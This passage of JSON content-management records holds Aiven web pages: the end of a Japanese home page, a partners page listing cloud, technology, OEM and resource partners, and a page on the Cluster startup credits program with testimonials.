"},"text":[{"_key":"b4cbe3329161","_type":"block","children":[{"_key":"092400c5e4040","_type":"span","marks":[],"text":"Aivenは現在急成長中の企業として、皆さんに数々のチャンスを提供します。\n今から世界を牽引するクラウドデータプラットフォームへの歩みに加わりましょう。"}],"markDefs":[],"style":"normal"}],"title":"Aivenチームに加わりましょう","variant":"mediaLeft"},{"_key":"ba788b193d65","_type":"textColumn","addSpaceTop":true,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf__i18n_ja","_type":"reference"},"title":"お問合せ"},"subtitle":[{"_key":"aa81d35b7ef8","_type":"block","children":[{"_key":"c776638b18150","_type":"span","marks":[],"text":"Aivenによって、誰でも簡単にセットアップを行うことができます。Aivenの「set it and forget it (設定したら後はお任せ)」ソリューションは、クラウドデータインフラの悩みを解決してくれます。"}],"markDefs":[],"style":"normal"}],"title":"今すぐオンラインで最初のデータ基盤を立ち上げましょう","variant":"centerColumn"}],"modals":[{"_key":"d3e8de8e4d87","_ref":"ace1f8b0-bc98-44b5-b2d3-691e2fb5ea92__i18n_ja","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aivenのフルマネージド型オープンソースクラウドデータプラットフォームは、お客様が必要とするデータパイプラインを10分以内に作成します。","metaImage":{"_type":"mainImage","alt":"Aiven.io","asset":{"_ref":"image-5ebf5f95228a67ee49b3d1283ff4030cfd12f242-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven\",\n \"@type\": \"Organization\",\n \"sameAs\": [\n \"https://twitter.com/aiven_io\",\n \"https://www.linkedin.com/company/aiven\"\n ],\n \"@context\": \"http://schema.org\",\n \"location\": [\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Helsinki, Finland\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Berlin, Germany\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Paris, France\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Boston, MA\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Sydney, Australia\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Toronto, Canada\"\n },\n {\n \"@type\": \"PostalAddress\",\n \"addressLocality\": \"Tokyo, Japan\"\n }\n ],\n \"legalName\": \"Aiven Oy\",\n \"description\": \"Aiven provides fully-hosted and managed cloud database and messaging services on all major cloud providers across the globe.\",\n \"contactPoint\": [\n {\n \"@type\": \"ContactPoint\",\n \"email\": \"sales@aiven.io\",\n \"contactType\": \"sales\"\n }\n ],\n \"foundingDate\": \"2016\",\n \"subOrganization\": [\n {\n \"name\": \"Aiven Inc.\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven Deutschland GmbH\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven Australia Pty Ltd\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven Canada Ltd\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven France SAS\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven (Singapore) Pte. Ltd\",\n \"@type\": \"Organization\"\n },\n {\n \"name\": \"Aiven Japan GK\",\n \"@type\": \"Organization\"\n }\n ]\n}","metaTitle":"信頼されたオープンソースのデータプラットフォーム | Aiven(アイベン)"},"slug":{"_type":"slug","current":"/"},"title":"Home Page"} {"__i18n_lang":"en","_createdAt":"2022-09-02T15:55:40Z","_id":"a86fa077-8308-41ae-a33c-498d64b1d4db","_rev":"TveqPI7F4qA0WH6AaHbUeM","_type":"page","_updatedAt":"2024-04-29T08:22:04Z","content":[{"_key":"bec06274771a","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center top","backgroundSize":"cover","darkTheme":true,"description":[{"_key":"d10cb077e067","_type":"block","children":[{"_key":"a12556fad7c30","_type":"span","marks":[],"text":"Join forces with Aiven to deliver seamless data architecture on our trusted platform, enabling customers to build powerful, data-driven applications."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","externalUrl":"#partner","title":"Become a partner"},"rounded":false,"roundedCorners":"rounded-b","title":"Deliver success together","variant":"compact"},{"_key":"667579936cb3","_type":"textImage","disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-c7a2480c409f82ad0f78d2a412f90dede90432f4-500x517-png","_type":"reference"}},"narrowImage":true,"rounded":false,"text":[{"_key":"951103544f57","_type":"block","children":[{"_key":"ded3a7faa0180","_type":"span","marks":[],"text":"Aiven provides an effortless way to turn great ideas into awesome applications – with the power of open source. But just as our customers can’t do that alone, neither can we."}],"markDefs":[],"style":"normal"},{"_key":"3ae38d6ca555","_type":"block","children":[{"_key":"e3b9d479b95e0","_type":"span","marks":[],"text":"We rely on good old teamwork with our cloud, consulting, services, and technology partners in our quest to help improve developers' lives. Because we know that when we help developers reach their goals, it pays dividends for business."}],"markDefs":[],"style":"normal"},{"_key":"86ce3c61a390","_type":"block","children":[{"_key":"2e281210ae020","_type":"span","marks":[],"text":"Aiven works with our partners to support customers and drive serious value. So if you or your customers use Apache Kafka®, Apache Flink®, OpenSearch®, PostgreSQL®, MySQL, Apache Cassandra®, Redis™, M3 or Prometheus, we have solutions that can help everyone build their business."}],"markDefs":[],"style":"normal"},{"_key":"45d928a312ad","_type":"block","children":[{"_key":"414118b6ec550","_type":"span","marks":[],"text":"Let’s work together."}],"markDefs":[],"style":"normal"}],"title":"Partners drive innovation","variant":"mediaRight"},{"_key":"7edb119d3c04","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"3e1e22bb78f1","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"09e0a894-0d29-4a89-bc91-367650f4653b","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-c41f431e3a817eac85b67a6438c60442661cc685-690x413-png","_type":"reference"}},"subtitle":[{"_key":"2613a22f283a","_type":"block","children":[{"_key":"18ecffced6210","_type":"span","marks":[],"text":"Deploy Aiven services to all AWS regions, including AWS Outposts servers running in your own data center."}],"markDefs":[],"style":"normal"}],"tagline":"Cloud platform partner","title":"Amazon Web Services","variant":"default"},{"_key":"9d0015ec9db162f23fd10f1a4602b30b","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"4e339088-4dba-4897-a1ea-06c572b37577","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-7aa0c5992a53a1c07679765082199df37c8b5209-690x413-png","_type":"reference"}},"subtitle":[{"_key":"8b89eef6fe81","_type":"block","children":[{"_key":"6f5dbe04e4d80","_type":"span","marks":[],"text":"Deploy Aiven services to all GCP regions, and let users drop data from Kafka right into BigQuery on GCP."}],"markDefs":[],"style":"normal"}],"tagline":"Cloud platform partner","title":"Google Cloud","variant":"default"},{"_key":"1e2cd9b393df8f80f483e8e2356b3dad","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aivenltd1590663507662.aiven_managed_database_services","title":"Visit Azure Marketplace"},"image":{"_type":"mainImage","asset":{"_ref":"image-12f8ed000ec2661ffa5fe7c4c665b23a9a2e2b2b-690x413-png","_type":"reference"}},"subtitle":[{"_key":"a987bd24cc55","_type":"block","children":[{"_key":"a5619771c0f10","_type":"span","marks":[],"text":"Deploy Aiven services to Azure across all regions."}],"markDefs":[],"style":"normal"}],"tagline":"Cloud platform partner","title":"Azure","variant":"default"},{"_key":"625b6588fbbec1c6277c662a526ce8a4","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/contact?department=1306720","title":"Contact us"},"image":{"_type":"mainImage","asset":{"_ref":"image-f048b111cad1493eb0551c581a585d586ab5fa83-690x413-png","_type":"reference"}},"subtitle":[{"_key":"da4837ed22b9","_type":"block","children":[{"_key":"44f7fce726480","_type":"span","marks":[],"text":"Deploy Aiven services to OCI regions (limited availability). Contact us for more information or access."}],"markDefs":[],"style":"normal"}],"tagline":"Cloud platform partner","title":"Oracle Cloud","variant":"default"},{"_key":"35269e91797e8b8f8d34508dfeed472d","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://hasura.io/","title":"Visit Hasura"},"image":{"_type":"mainImage","asset":{"_ref":"image-f34a8ca4770ead035b5892e3bb2252c983b519c6-690x413-png","_type":"reference"}},"subtitle":[{"_key":"4acc07238075","_type":"block","children":[{"_key":"8bdf9c772abd0","_type":"span","marks":[],"text":"Hasura gives developers instant GraphQL \u0026 REST APIs on new \u0026 existing data sources. Connect Hasura to your data \u0026 get APIs in under a minute, and use the native integration with Aiven to start small and scale sustainably with Postgres databases and more."}],"markDefs":[],"style":"normal"}],"tagline":"Technology partner","title":"Hasura","variant":"default"},{"_key":"794e486c808e868db6eae46b35a4a5de","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://lenses.io/cloud/aiven/","title":"Visit Lenses.io"},"image":{"_type":"mainImage","asset":{"_ref":"image-022f0a3edd84bbd8d87e3d733b9a8930d49d8e36-690x413-png","_type":"reference"}},"subtitle":[{"_key":"b3a418904c1c","_type":"block","children":[{"_key":"7b510e8bffd10","_type":"span","marks":[],"text":"Transform Aiven for Kafka into a streaming analytics platform with Lenses. Lenses provides enterprise-grade governance and access controls, as well as the most mature SQL interface to Kafka on the market (LSQL)."}],"markDefs":[],"style":"normal"}],"tagline":"Technology partner","title":"Lenses.io","variant":"default"},{"_key":"39b0e119d5f944cb1fd0dbc48b3e66fc","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/howto/kafka-conduktor","title":"Visit Conduktor"},"image":{"_type":"mainImage","asset":{"_ref":"image-180179c78143693480b4a4641474ddfb4d8c80eb-690x413-png","_type":"reference"}},"subtitle":[{"_key":"a270cd44a57e","_type":"block","children":[{"_key":"b5ba607e18ff0","_type":"span","marks":[],"text":"Conduktor is an all-in-one, friendly interface to work with the Apache Kafka ecosystem. Conduktor drives developer productivity by allowing engineers to use and manage Apache Kafka with confidence."}],"markDefs":[],"style":"normal"}],"tagline":"Technology partner","title":"Conduktor","variant":"default"},{"_key":"8155fe9a760f5351b700d04bfcfe812c","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://humanitec.com/blog/aiven-humanitec-tech-alliance","title":"Visit Humanitec"},"image":{"_type":"mainImage","asset":{"_ref":"image-08a220eadb3fdddfebee20bbf2395238ec969540-690x413-png","_type":"reference"}},"subtitle":[{"_key":"d17190ff2039","_type":"block","children":[{"_key":"a88551e661140","_type":"span","marks":[],"text":"Provides an elegant, open API and a developer-focused UI to master Continuous Delivery for cloud native applications."}],"markDefs":[],"style":"normal"},{"_key":"fd63dfc71b1b","_type":"block","children":[{"_key":"4c34eaacd2810","_type":"span","marks":[],"text":"Humanitech also helps teams increase development velocity, allowing engineers to easily spin up tech—such as Aiven’s managed databases—across multiple clouds."}],"markDefs":[],"style":"normal"}],"tagline":"Technology partner","title":"Humanitec","variant":"default"},{"_key":"78bb5426218b3481d6e98f8d8a8699a5","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://www.digitalocean.com/products/managed-databases/","title":"Visit DigitalOcean"},"image":{"_type":"mainImage","asset":{"_ref":"image-3f70730ff029c0119a00f23ccc66dba3d2aaa2cc-690x413-png","_type":"reference"}},"subtitle":[{"_key":"0564d3f96976","_type":"block","children":[{"_key":"c9866119d5a60","_type":"span","marks":[],"text":"DigitalOcean simplifies cloud computing so developers and businesses can spend more time building software that changes the world. Aiven and DO partnered in 2019 to bring Managed Databases to market."}],"markDefs":[],"style":"normal"}],"tagline":"Cloud platform partner","title":"DigitalOcean","variant":"default"},{"_key":"31faf88df3326dc1a4d0a98de816449e","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://upcloud.com/products/managed-databases/","title":"Visit UpCloud"},"image":{"_type":"mainImage","asset":{"_ref":"image-f09d129e1333c9b0e124b50fefd23e2f2b4d9b79-690x413-png","_type":"reference"}},"subtitle":[{"_key":"1853dbdc6eda","_type":"block","children":[{"_key":"d6c37bb2c3750","_type":"span","marks":[],"text":"UpCloud provides superior cloud hosting for businesses around the world that value a high performance, reliable service, and a personal approach."}],"markDefs":[],"style":"normal"}],"tagline":"OEM","title":"UpCloud","variant":"default"},{"_key":"d0a13246bd3a99f98be0cc5eac3665e1","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://www.exoscale.com/","title":"Visit Exoscale"},"image":{"_type":"mainImage","asset":{"_ref":"image-a2260cf5403a2f2ea2ebd440cb5410be58210fd2-690x413-png","_type":"reference"}},"subtitle":[{"_key":"f1df111e3faa","_type":"block","children":[{"_key":"734c373f97800","_type":"span","marks":[],"text":"Exoscale is the leading Swiss/European cloud service provider focusing on simplicity, scalability, and security in order to let its clients focus on their core business."}],"markDefs":[],"style":"normal"}],"tagline":"OEM","title":"Exoscale","variant":"default"},{"_key":"ea9746f23cf46141305740fb2bb84975","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://www.ovhcloud.com/","title":"Visit OVHcloud"},"image":{"_type":"mainImage","asset":{"_ref":"image-2ab3f42af15e8c62cbade9cedc99df78b0cea7a9-690x413-png","_type":"reference"}},"subtitle":[{"_key":"f375b5a299f3","_type":"block","children":[{"_key":"116955487d450","_type":"span","marks":[],"text":"OVHcloud enables businesses of all sizes to accelerate moving to a trusted and GDPR-compliant cloud. Through Aiven, they deliver fully managed services for all major DBMS, both for test and dev and production-grade environments."}],"markDefs":[],"style":"normal"}],"tagline":"OEM","title":"OVHcloud","variant":"default"},{"_key":"0c52704d7fd1","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://www.navisite.com/","title":"Visit Navisite"},"image":{"_type":"mainImage","asset":{"_ref":"image-147e3a01c22bbe6a9077d9fcd989f21241a15af4-690x413-png","_type":"reference"}},"subtitle":[{"_key":"ab3b2e0a4f5d","_type":"block","children":[{"_key":"56c4a78582bb0","_type":"span","marks":[],"text":"Navisite provides the people, skills, solutions, global capabilities and public cloud expertise to help businesses successfully navigate the reality of IT change and accelerate IT transformation across every part of the technology stack — from cloud migration and management to infrastructure, enterprise application and data management services."}],"markDefs":[],"style":"normal"}],"tagline":"Resource partner","title":"Navisite","variant":"default"},{"_key":"727a1085b3791a4abe745437653389f1","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://nucleusteq.com/","title":"Visit NucleusTeq"},"image":{"_type":"mainImage","asset":{"_ref":"image-6a13ed96169bd806790939df5e2418af642e35de-690x413-png","_type":"reference"}},"subtitle":[{"_key":"8c9137cf60de","_type":"block","children":[{"_key":"d5a7917ce0e70","_type":"span","marks":[],"text":"NucleusTeq is a software services, solutions \u0026 products company empowering \u0026 transforming customers’ businesses through the use of digital technologies such as Big-Data, Analytics (AI, ML), Cloud, Enterprise Automation, Block-chain, Mobility, CRM \u0026 ERP."}],"markDefs":[],"style":"normal"}],"tagline":"Resource partner","title":"NucleusTeq","variant":"default"},{"_key":"22407dcb00a19850226560fe9349602d","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://data-sleek.com/","title":"Visit Data Sleek"},"image":{"_type":"mainImage","asset":{"_ref":"image-ecfa4ed6ba49dcab87d3bee6514bba202757716b-690x413-png","_type":"reference"}},"subtitle":[{"_key":"d014ac9ce272","_type":"block","children":[{"_key":"75957b93d81e0","_type":"span","marks":[],"text":"Data Sleek is your go-to data consulting and managing partner who can help navigate the complexities of data, develop effective strategies and provide data science, data engineering, data warehousing, and data architecture solutions to maximize your organization’s performance."}],"markDefs":[],"style":"normal"}],"tagline":"Resource partner","title":"Data Sleek","variant":"default"},{"_key":"60084a4a741a1f2be0246f8d0ec6eae2","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://ibt.com.au/","title":"Visit IBT"},"image":{"_type":"mainImage","alt":"IBT logo","asset":{"_ref":"image-7743df1e4c275096b5640a22f6111ac3a08e1561-690x413-png","_type":"reference"}},"subtitle":[{"_key":"eb02fc368304","_type":"block","children":[{"_key":"25824d7ba8bf0","_type":"span","marks":[],"text":"IBT elevates your business with a personalised data plan and consulting, simplifying management for practical impact. Our dedicated team tailors a strategy, prioritising accessible solutions and actionable insights to streamline your operations effectively."}],"markDefs":[],"style":"normal"}],"tagline":"Resource partner","title":"IBT","variant":"default"}],"rounded":false,"title":"Featured partners"},{"_key":"3d81a0cf3877","_type":"textColumn","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"columnOne":[{"_key":"eee35edfc4f9","_type":"block","children":[{"_key":"e156819fd857","_type":"span","marks":[],"text":"Cloud platform partners"}],"markDefs":[],"style":"h3"},{"_key":"c06b3756ec2e","_type":"block","children":[{"_key":"fa52b4ae04e3","_type":"span","marks":[],"text":"Like most businesses today, Aiven operates in the cloud, across AWS, GCP, and Azure. These hyperscalers are strategically important to Aiven’s success, as well as other cloud platforms that help meet our customers’ needs, and expand the distribution of our—and their— products on a regional and global scale."}],"markDefs":[],"style":"normal"},{"_key":"a83833680429","_type":"block","children":[{"_key":"a59e37f83581","_type":"span","marks":[],"text":"Resource partners"}],"markDefs":[],"style":"h3"},{"_key":"f776ba4bf77e","_type":"block","children":[{"_key":"6b50dc201ad7","_type":"span","marks":[],"text":"Before leveraging Aiven, our customers might need to first migrate their data from their on-prem environments, require help scoping their overall cloud strategy, or simply need assistance when using our open source products. Aiven offers our customers help from consulting, reseller, and professional service partners whose resources are specialized in our core offerings and more."}],"markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"cb7ec51938b5","_type":"block","children":[{"_key":"76249ae50dc50","_type":"span","marks":[],"text":"Technology partners"}],"markDefs":[],"style":"h3"},{"_key":"55263fdc560d","_type":"block","children":[{"_key":"4295361fa8800","_type":"span","marks":[],"text":"Open source technologies such as Apache Kafka and PostgreSQL aren’t used alone. The Aiven platform supports a fast-growing number of service integrations for logging, metrics, data flow, authentication, and user interfaces. Technology Alliance partners should first explore service integration directly from Aiven’s API to get up and running quickly."}],"markDefs":[],"style":"normal"},{"_key":"f31e82407d16","_type":"block","children":[{"_key":"c3d742a5d0460","_type":"span","marks":[],"text":"OEM partners"}],"markDefs":[],"style":"h3"},{"_key":"eb2df9f5c317","_type":"block","children":[{"_key":"8f155ce81cc80","_type":"span","marks":[],"text":"OEM partners embed Aiven’s platform technology into their own products to deliver reliable, secure, and scalable cloud services to the market faster. Our partners benefit from Aiven’s expertise in cloud operations and site reliability engineering, so they can focus on their core products — and keep their customers happy."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"roundedCorners":"rounded-none","title":"Our partnership ecosystem","variant":"twoColumn"},{"_key":"2de0a781c323","_type":"iframe","disabled":false,"fullWidth":false,"headerPosition":"left","id":"partner","iframeHeight":920,"iframeSource":"https://go.aiven.io/l/890043/2021-02-05/581b","iframeTitle":"Become a partner","isPardotForm":true,"pardotFormType":"contact","rounded":false,"subtitle":[{"_key":"5b823e6f5d17","_type":"block","children":[{"_key":"c7dadd9478dd0","_type":"span","marks":[],"text":"Aiven partners help us provide solutions and services that help our customers in their development and modernization efforts."}],"markDefs":[],"style":"normal"},{"_key":"c7782c78f88b","_type":"block","children":[{"_key":"bb03d5857ddd0","_type":"span","marks":["strong"],"text":"Support \u0026 enablement"},{"_key":"af4e7a567e77","_type":"span","marks":[],"text":": Aiven recognizes the value of our partners and we’ll help your team get up to speed with Aiven’s platform and services. You’ll also gain exposure to Aiven’s development roadmap and the future of our advanced, multi-cloud, fully managed services."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7f1211c1af90","_type":"block","children":[{"_key":"600f017c0eaa","_type":"span","marks":["strong"],"text":"Go to market and deal flow"},{"_key":"5295e42e2d52","_type":"span","marks":[],"text":": Increased visibility with Aiven’s customers from startups to enterprises drives meaningful business relationships that pay dividends down the line with direct customers and Aiven partners alike."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8301140db46b","_type":"block","children":[{"_key":"f05048a0bacf","_type":"span","marks":[],"text":"We’re always looking for new partnerships. If you think we can work together, we can’t wait to hear from you."}],"markDefs":[],"style":"normal"}],"tagline":"Become a partner","title":"Benefits of becoming an Aiven Partner"}],"seo":{"_type":"metaData","metaDescription":"Aiven works together with our partners to help customers build awesome applications without the hassle of worrying about data architecture.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-50c862c309479b5713da7aea5819d35054b89c4f-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven and Partners | Shaping the future of data | Read more"},"slug":{"_type":"slug","current":"/partners"},"title":"Aiven partners"} {"__i18n_lang":"en","_createdAt":"2022-09-14T10:08:55Z","_id":"c988ff38-30ef-409e-b3ea-c3478c3b664e","_rev":"lbpMA3MBWy0eIji4xo2ita","_type":"page","_updatedAt":"2024-12-11T13:06:37Z","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"content":[{"_key":"95d23ba5c03c","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundImageMobile":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"a5f2c066bfbb","_type":"block","children":[{"_key":"e15c1b34026b0","_type":"span","marks":[],"text":"The Aiven Cluster startup program offers up to $100,000 credit to help you build your data infrastructure using Aiven services, and technical expertise to help your startup grow – fast."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-f6e8c539af9b3da254ca8d9692d2913d789f79e0-1753x1933-png","_type":"reference"}},"imageSize":"small","primaryCTA":{"_type":"link","externalUrl":"https://form.typeform.com/to/BqNrcMLJ","title":"Apply now"},"tagline":"Built for startups, Aiven’s open-source solutions flex with you","title":"Scale up your startup","variant":"default"},{"_key":"09a1db85f156","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-ffb454d1a54de839781fb952f0d6eef8ecedf028-1789x1541-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"c4eafbc4681f","_type":"block","children":[{"_key":"0fab6b475813","_type":"span","marks":[],"text":"Aiven’s all-in-one cloud data "},{"_key":"94cf4a0808fb","_type":"span","marks":["5a12375e39ac"],"text":"platform"},{"_key":"ebd878c5c2a7","_type":"span","marks":[],"text":" combines all the tools you need to connect to the data services you use, on all major cloud providers."}],"markDefs":[{"_key":"5a12375e39ac","_type":"link","href":"https://aiven.io/platform"}],"style":"normal"},{"_key":"456ca5e4e039","_type":"block","children":[{"_key":"47ac943a91e70","_type":"span","marks":[],"text":"Unlock up to $100,000 in credit for Aiven's fully managed services for an entire year through our exclusive Cluster startup program. Gain access to our expert support and join a vibrant community of like-minded entrepreneurs and engineers, all dedicated to achieving greatness together."}],"markDefs":[],"style":"normal"}],"title":"Everything you need to get things done","variant":"mediaLeft"},{"_key":"4c9118140f7f","_type":"iconList","backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"a606ec6b91bd","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"78914c9df61d","_type":"block","children":[{"_key":"6393208704e60","_type":"span","marks":[],"text":"From $12,000 to up to $100,000 in credits to spend on Aiven services over a 12 month period. Credit amounts vary depending on qualification criteria."}],"markDefs":[],"style":"normal"}],"title":"Credits"},{"_key":"d1c47bb930cf","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-87a436c693e93f59b89f6b87039996d9b60869b1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"f94d07cfaacf","_type":"block","children":[{"_key":"85cfe92a60f10","_type":"span","marks":[],"text":"Access knowledge and insight from your peers and from members of the Aiven team, or Crabs as we like to call them, through community channels, including the Cluster Slack, and "},{"_key":"c73580172242","_type":"span","marks":["a1dfcc1d1959"],"text":"Aiven Community Forums"},{"_key":"8f20e9928c64","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a1dfcc1d1959","_type":"link","href":"https://aiven.io/community/forum/"}],"style":"normal"}],"title":"Knowledge"},{"_key":"d61f55acf7f6","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d51a8d3c8958","_type":"block","children":[{"_key":"90995a3c68620","_type":"span","marks":[],"text":"Raise awareness of your company and your products by featuring on the Aiven blog, social media channels, and by participating in Aiven events."}],"markDefs":[],"style":"normal"}],"title":"Promotion"},{"_key":"ef62c5bf000e","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"1f855b3db9ae","_type":"block","children":[{"_key":"f83ec4baa5040","_type":"span","marks":[],"text":"Access to Aiven's technical support service to ensure that you get the most from Aiven's service, and that you can meets needs of your customers as your business scales."}],"markDefs":[],"style":"normal"}],"title":"Support"},{"_key":"0c13b1f1a8c8","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b6af9833e3bd195ed0ccf98437f17e92d8e470fb-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"82941b4db695","_type":"block","children":[{"_key":"d52f298988960","_type":"span","marks":[],"text":"Virtual events on relevant topics for early stage startups. Everything from data infrastructure, to product development, hiring and more."}],"markDefs":[],"style":"normal"}],"title":"Events"},{"_key":"99f49951039a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"8f207c22ade0","_type":"block","children":[{"_key":"48141a20cefe0","_type":"span","marks":[],"text":"The opportunity to focus on building your business – not your data infrastructure."}],"markDefs":[],"style":"normal"}],"title":"Freedom"}],"itemsPerRow":3,"roundedCorners":"rounded","title":"Benefits for selected startups"},{"_key":"864498486e044c7a4dd1108e04b1c093","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"What Cluster startups say about Aiven","variant":"centerColumn"},{"_key":"b065eb840ff140c245c5257c7e3061b5","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"items":[{"_key":"032a22a75e77","_type":"testimonialItem","content":[{"_key":"1990ee688068","_type":"block","children":[{"_key":"004cebaa46170","_type":"span","marks":[],"text":"“The credits we got by joining the Aiven Cluster program helped us to get started very quickly.”"}],"markDefs":[],"style":"normal"}],"jobTitle":"Staff Platform Engineer at Doccla","name":"Matthew Huxtable","ytId":"Ihm0jcx_CK4"}],"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"roundedCorners":"rounded-none","variant":"media"},{"_key":"1dec71d8149e","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"isCarousel":false,"items":[{"_key":"e3ebce6c9436","_type":"testimonialItem","content":[{"_key":"fcf4a6af25ab","_type":"block","children":[{"_key":"28eee4c252be0","_type":"span","marks":[],"text":"Infrastructure is the most ignored piece in running a startup. Everything else is very front-facing - you can measure it, see it in action, but the infrastructure is always behind the scenes. So, as long as it's working, people are happy, but when issues arise, it's hard to identify and resolve them."}],"markDefs":[],"style":"normal"},{"_key":"160cbb5c62c7","_type":"block","children":[{"_key":"3e2e1d2431360","_type":"span","marks":[],"text":"I think that's a problem that Aiven solves 